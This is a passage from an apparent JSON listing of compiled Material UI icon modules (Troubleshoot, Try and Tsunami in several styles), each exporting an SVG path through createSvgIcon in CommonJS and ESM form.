    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 20.59-4.69-4.69C18.37 14.55 19 12.85 19 11c0-4.42-3.58-8-8-8-4.08 0-7.44 3.05-7.93 7h2.02C5.57 7.17 8.03 5 11 5c3.31 0 6 2.69 6 6s-2.69 6-6 6c-2.42 0-4.5-1.44-5.45-3.5H3.4C4.45 16.69 7.46 19 11 19c1.85 0 3.55-.63 4.9-1.69L20.59 22z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.43 9.69 9.65 15h1.64l1.26-3.78.95 2.28h2V12h-1l-1.25-3h-1.54l-1.12 3.37L9.35 7H7.7l-1.25 4H1v1.5h6.55z\"\n}, \"1\")], 'TroubleshootOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TroubleshootRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.29 19.88-3.98-3.98c1.3-1.67 1.96-3.85 1.58-6.2-.54-3.41-3.33-6.14-6.75-6.62C7.57 2.44 3.61 5.69 3.07 10h2.02c.53-3.13 3.48-5.44 6.85-4.93 2.61.4 4.7 2.57 5.02 5.2C17.39 13.9 14.55 17 11 17c-2.42 0-4.5-1.44-5.45-3.5H3.4C4.45 16.69 7.46 19 11 19c1.85 0 3.55-.63 4.9-1.69l3.98 3.98c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.43 9.69 1.03 4.47c.11.49.55.84 1.05.84.46 0 .87-.3 1.02-.74l1.01-3.04.69 1.66c.16.37.52.62.92.62h.58c.41 0 .75-.34.75-.75s-.34-.75-.75-.75h-.23l-.97-2.34c-.17-.4-.56-.66-1-.66h-.05c-.46 0-.87.3-1.02.74l-.88 2.63-1.04-4.54C9.43 7.35 8.99 7 8.49 7c-.47 0-.89.31-1.03.76L6.45 11h-4.7c-.41 0-.75.34-.75.75s.34.75.75.75h5.07c.44 0 .82-.28.95-.7z\"\n}, \"1\")], 'TroubleshootRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TroubleshootRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.29 19.88-3.98-3.98c1.3-1.67 1.96-3.85 1.58-6.2-.54-3.41-3.33-6.14-6.75-6.62C7.57 2.44 3.61 5.69 3.07 10h2.02c.53-3.13 3.48-5.44 6.85-4.93 2.61.4 4.7 2.57 5.02 5.2C17.39 13.9 14.55 17 11 17c-2.42 0-4.5-1.44-5.45-3.5H3.4C4.45 16.69 7.46 19 11 19c1.85 0 3.55-.63 4.9-1.69l3.98 3.98c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.43 9.69 1.03 4.47c.11.49.55.84 1.05.84.46 0 .87-.3 1.02-.74l1.01-3.04.69 1.66c.16.37.52.62.92.62h.58c.41 0 .75-.34.75-.75s-.34-.75-.75-.75h-.23l-.97-2.34c-.17-.4-.56-.66-1-.66h-.05c-.46 0-.87.3-1.02.74l-.88 2.63-1.04-4.54C9.43 7.35 8.99 7 8.49 7c-.47 0-.89.31-1.03.76L6.45 11h-4.7c-.41 0-.75.34-.75.75s.34.75.75.75h5.07c.44 0 .82-.28.95-.7z\"\n}, \"1\")], 'TroubleshootRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TroubleshootSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 20.59-4.69-4.69C18.37 14.55 19 12.85 19 11c0-4.42-3.58-8-8-8-4.08 0-7.44 3.05-7.93 7h2.02C5.57 7.17 8.03 5 11 5c3.31 0 6 2.69 6 6s-2.69 6-6 6c-2.42 0-4.5-1.44-5.45-3.5H3.4C4.45 16.69 7.46 19 11 19c1.85 0 3.55-.63 4.9-1.69L20.59 22z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.43 9.69 9.65 15h1.64l1.26-3.78.95 2.28h2V12h-1l-1.25-3h-1.54l-1.12 3.37L9.35 7H7.7l-1.25 4H1v1.5h6.55z\"\n}, \"1\")], 'TroubleshootSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TroubleshootSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 20.59-4.69-4.69C18.37 14.55 19 12.85 19 11c0-4.42-3.58-8-8-8-4.08 0-7.44 3.05-7.93 7h2.02C5.57 7.17 8.03 5 11 5c3.31 0 6 2.69 6 6s-2.69 6-6 6c-2.42 0-4.5-1.44-5.45-3.5H3.4C4.45 16.69 7.46 19 11 19c1.85 0 3.55-.63 4.9-1.69L20.59 22z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.43 9.69 9.65 15h1.64l1.26-3.78.95 2.28h2V12h-1l-1.25-3h-1.54l-1.12 3.37L9.35 7H7.7l-1.25 4H1v1.5h6.55z\"\n}, \"1\")], 'TroubleshootSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TroubleshootTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 20.59-4.69-4.69C18.37 14.55 19 12.85 19 11c0-4.42-3.58-8-8-8-4.08 0-7.44 3.05-7.93 7h2.02C5.57 7.17 8.03 5 11 5c3.31 0 6 2.69 6 6s-2.69 6-6 6c-2.42 0-4.5-1.44-5.45-3.5H3.4C4.45 16.69 7.46 19 11 19c1.85 0 3.55-.63 4.9-1.69L20.59 22z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.43 9.69 9.65 15h1.64l1.26-3.78.95 2.28h2V12h-1l-1.25-3h-1.54l-1.12 3.37L9.35 7H7.7l-1.25 4H1v1.5h6.55z\"\n}, \"1\")], 'TroubleshootTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TroubleshootTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 20.59-4.69-4.69C18.37 14.55 19 12.85 19 11c0-4.42-3.58-8-8-8-4.08 0-7.44 3.05-7.93 7h2.02C5.57 7.17 8.03 5 11 5c3.31 0 6 2.69 6 6s-2.69 6-6 6c-2.42 0-4.5-1.44-5.45-3.5H3.4C4.45 16.69 7.46 19 11 19c1.85 0 3.55-.63 4.9-1.69L20.59 22z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.43 9.69 9.65 15h1.64l1.26-3.78.95 2.28h2V12h-1l-1.25-3h-1.54l-1.12 3.37L9.35 7H7.7l-1.25 4H1v1.5h6.55z\"\n}, \"1\")], 'TroubleshootTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Try.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6.43 9.57L12 15l-1.57-3.43L7 10l3.43-1.57L12 5l1.57 3.43L17 10z\"\n}), 'Try');"
  },
  {
    "path": "packages/mui-icons-material/lib/Try.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6.43 9.57L12 15l-1.57-3.43L7 10l3.43-1.57L12 5l1.57 3.43L17 10z\"\n}), 'Try');"
  },
  {
    "path": "packages/mui-icons-material/lib/TryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 15 1.57-3.43L17 10l-3.43-1.57L12 5l-1.57 3.43L7 10l3.43 1.57z\"\n}, \"1\")], 'TryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 15 1.57-3.43L17 10l-3.43-1.57L12 5l-1.57 3.43L7 10l3.43 1.57z\"\n}, \"1\")], 'TryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v15.59c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6.43 9.57-1.12 2.44c-.18.39-.73.39-.91 0l-1.12-2.44-2.44-1.12c-.39-.18-.39-.73 0-.91l2.44-1.12 1.12-2.44c.18-.39.73-.39.91 0l1.12 2.44 2.44 1.12c.39.18.39.73 0 .91z\"\n}), 'TryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v15.59c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6.43 9.57-1.12 2.44c-.18.39-.73.39-.91 0l-1.12-2.44-2.44-1.12c-.39-.18-.39-.73 0-.91l2.44-1.12 1.12-2.44c.18-.39.73-.39.91 0l1.12 2.44 2.44 1.12c.39.18.39.73 0 .91z\"\n}), 'TryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20l4-4h16zm-8.43 9.57L12 15l-1.57-3.43L7 10l3.43-1.57L12 5l1.57 3.43L17 10z\"\n}), 'TrySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20l4-4h16zm-8.43 9.57L12 15l-1.57-3.43L7 10l3.43-1.57L12 5l1.57 3.43L17 10z\"\n}), 'TrySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zm6.43-8.74L12 5l1.57 3.43L17 10l-3.43 1.57L12 15l-1.57-3.43L7 10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 15 1.57-3.43L17 10l-3.43-1.57L12 5l-1.57 3.43L7 10l3.43 1.57z\"\n}, \"2\")], 'TryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zm6.43-8.74L12 5l1.57 3.43L17 10l-3.43 1.57L12 15l-1.57-3.43L7 10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 15 1.57-3.43L17 10l-3.43-1.57L12 5l-1.57 3.43L7 10l3.43 1.57z\"\n}, \"2\")], 'TryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tsunami.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.67 17.63c-3.8 2.8-6.12.4-6.67 0-.66.49-2.92 2.76-6.67 0C3.43 19.03 2.65 19 2 19v2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37m.66-5.63H22v-2h-2.67C17.5 10 16 8.5 16 6.67c0-1.02.38-1.74 1.09-3.34-1.37-.21-2-.33-3.09-.33C7.36 3 2.15 8.03 2.01 14.5l-.01 2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37-3.8 2.8-6.12.4-6.67 0-.9.67-.54.41-.91.63-.7-.94-1.09-2.06-1.09-3.26 0-2.58 1.77-4.74 4.21-5.33-.13.51-.21 1.02-.21 1.5C14 9.61 16.39 12 19.33 12\"\n}), 'Tsunami');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tsunami.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.67 17.63c-3.8 2.8-6.12.4-6.67 0-.66.49-2.92 2.76-6.67 0C3.43 19.03 2.65 19 2 19v2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37m.66-5.63H22v-2h-2.67C17.5 10 16 8.5 16 6.67c0-1.02.38-1.74 1.09-3.34-1.37-.21-2-.33-3.09-.33C7.36 3 2.15 8.03 2.01 14.5l-.01 2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37-3.8 2.8-6.12.4-6.67 0-.9.67-.54.41-.91.63-.7-.94-1.09-2.06-1.09-3.26 0-2.58 1.77-4.74 4.21-5.33-.13.51-.21 1.02-.21 1.5C14 9.61 16.39 12 19.33 12\"\n}), 'Tsunami');"
  },
  {
    "path": "packages/mui-icons-material/lib/TsunamiOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.67 17.63c-3.8 2.8-6.12.4-6.67 0-.66.49-2.92 2.76-6.67 0C3.43 19.03 2.65 19 2 19v2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37m.66-5.63H22v-2h-2.67C17.5 10 16 8.5 16 6.67c0-1.02.38-1.74 1.09-3.34-1.37-.21-2-.33-3.09-.33C7.36 3 2.15 8.03 2.01 14.5l-.01 2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37-3.8 2.8-6.12.4-6.67 0-.9.67-.54.41-.91.63-.7-.94-1.09-2.06-1.09-3.26 0-2.58 1.77-4.74 4.21-5.33-.13.51-.21 1.02-.21 1.5C14 9.61 16.39 12 19.33 12m-14 1.13c-.62.46-.82.63-1.3.87.27-3.53 2.38-6.48 5.43-7.96C8.54 7.29 8 8.83 8 10.5c0 1.42.4 2.77 1.13 3.95-.72.07-1.79.15-3.8-1.32\"\n}), 'TsunamiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TsunamiOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.67 17.63c-3.8 2.8-6.12.4-6.67 0-.66.49-2.92 2.76-6.67 0C3.43 19.03 2.65 19 2 19v2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37m.66-5.63H22v-2h-2.67C17.5 10 16 8.5 16 6.67c0-1.02.38-1.74 1.09-3.34-1.37-.21-2-.33-3.09-.33C7.36 3 2.15 8.03 2.01 14.5l-.01 2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37-3.8 2.8-6.12.4-6.67 0-.9.67-.54.41-.91.63-.7-.94-1.09-2.06-1.09-3.26 0-2.58 1.77-4.74 4.21-5.33-.13.51-.21 1.02-.21 1.5C14 9.61 16.39 12 19.33 12m-14 1.13c-.62.46-.82.63-1.3.87.27-3.53 2.38-6.48 5.43-7.96C8.54 7.29 8 8.83 8 10.5c0 1.42.4 2.77 1.13 3.95-.72.07-1.79.15-3.8-1.32\"\n}), 'TsunamiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TsunamiRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.16 17.98c-2.76 1.76-4.67.77-5.61.08-.34-.24-.78-.23-1.12.01-.97.7-2.83 1.65-5.55-.06-.33-.21-.75-.23-1.07-.01-.91.61-1.53.85-2 .94s-.81.5-.81.97c0 .6.54 1.09 1.13.98.77-.14 1.51-.42 2.2-.83 2.04 1.21 4.63 1.21 6.67 0 2.06 1.22 4.61 1.22 6.67 0 .69.41 1.44.69 2.21.83.59.11 1.13-.38 1.13-.98v-.01c0-.47-.33-.88-.8-.97-.49-.1-1.11-.34-2.02-.94-.31-.2-.72-.21-1.03-.01M19.33 12H21c.55 0 1-.45 1-1s-.45-1-1-1h-1.61c-1.86 0-3.4-1.5-3.39-3.36 0-.37.06-.7.16-1.05.37-1.29-.56-2.56-1.89-2.59H14C7.36 3 2.15 8.03 2.01 14.5v.03c-.04 1.13 1.07 1.98 2.14 1.6.4-.14.78-.32 1.15-.54 2.08 1.2 4.64 1.22 6.7-.02 2.06 1.22 4.61 1.22 6.67 0 .68.41 1.42.68 2.18.82.6.11 1.16-.36 1.16-.98v-.01c0-.46-.32-.88-.78-.97-.49-.09-1.12-.33-2.03-.94-.31-.21-.73-.22-1.05-.01-2.73 1.74-4.63.77-5.58.09-.35-.25-.81-.26-1.16-.01-.15.11-.09.06-.32.2-.7-.94-1.09-2.06-1.09-3.26 0-2.58 1.77-4.74 4.21-5.33-.13.51-.21 1.02-.21 1.5C14 9.61 16.39 12 19.33 12\"\n}), 'TsunamiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TsunamiRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.16 17.98c-2.76 1.76-4.67.77-5.61.08-.34-.24-.78-.23-1.12.01-.97.7-2.83 1.65-5.55-.06-.33-.21-.75-.23-1.07-.01-.91.61-1.53.85-2 .94s-.81.5-.81.97c0 .6.54 1.09 1.13.98.77-.14 1.51-.42 2.2-.83 2.04 1.21 4.63 1.21 6.67 0 2.06 1.22 4.61 1.22 6.67 0 .69.41 1.44.69 2.21.83.59.11 1.13-.38 1.13-.98v-.01c0-.47-.33-.88-.8-.97-.49-.1-1.11-.34-2.02-.94-.31-.2-.72-.21-1.03-.01M19.33 12H21c.55 0 1-.45 1-1s-.45-1-1-1h-1.61c-1.86 0-3.4-1.5-3.39-3.36 0-.37.06-.7.16-1.05.37-1.29-.56-2.56-1.89-2.59H14C7.36 3 2.15 8.03 2.01 14.5v.03c-.04 1.13 1.07 1.98 2.14 1.6.4-.14.78-.32 1.15-.54 2.08 1.2 4.64 1.22 6.7-.02 2.06 1.22 4.61 1.22 6.67 0 .68.41 1.42.68 2.18.82.6.11 1.16-.36 1.16-.98v-.01c0-.46-.32-.88-.78-.97-.49-.09-1.12-.33-2.03-.94-.31-.21-.73-.22-1.05-.01-2.73 1.74-4.63.77-5.58.09-.35-.25-.81-.26-1.16-.01-.15.11-.09.06-.32.2-.7-.94-1.09-2.06-1.09-3.26 0-2.58 1.77-4.74 4.21-5.33-.13.51-.21 1.02-.21 1.5C14 9.61 16.39 12 19.33 12\"\n}), 'TsunamiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TsunamiSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.67 17.63c-3.8 2.8-6.12.4-6.67 0-.66.49-2.92 2.76-6.67 0C3.43 19.03 2.65 19 2 19v2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37m.66-5.63H22v-2h-2.67C17.5 10 16 8.5 16 6.67c0-1.02.38-1.74 1.09-3.34-1.37-.21-2-.33-3.09-.33C7.36 3 2.15 8.03 2.01 14.5l-.01 2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37-3.8 2.8-6.12.4-6.67 0-.9.67-.54.41-.91.63-.7-.94-1.09-2.06-1.09-3.26 0-2.58 1.77-4.74 4.21-5.33-.13.51-.21 1.02-.21 1.5C14 9.61 16.39 12 19.33 12\"\n}), 'TsunamiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TsunamiSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.67 17.63c-3.8 2.8-6.12.4-6.67 0-.66.49-2.92 2.76-6.67 0C3.43 19.03 2.65 19 2 19v2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37m.66-5.63H22v-2h-2.67C17.5 10 16 8.5 16 6.67c0-1.02.38-1.74 1.09-3.34-1.37-.21-2-.33-3.09-.33C7.36 3 2.15 8.03 2.01 14.5l-.01 2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37-3.8 2.8-6.12.4-6.67 0-.9.67-.54.41-.91.63-.7-.94-1.09-2.06-1.09-3.26 0-2.58 1.77-4.74 4.21-5.33-.13.51-.21 1.02-.21 1.5C14 9.61 16.39 12 19.33 12\"\n}), 'TsunamiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TsunamiTwoTone.js",
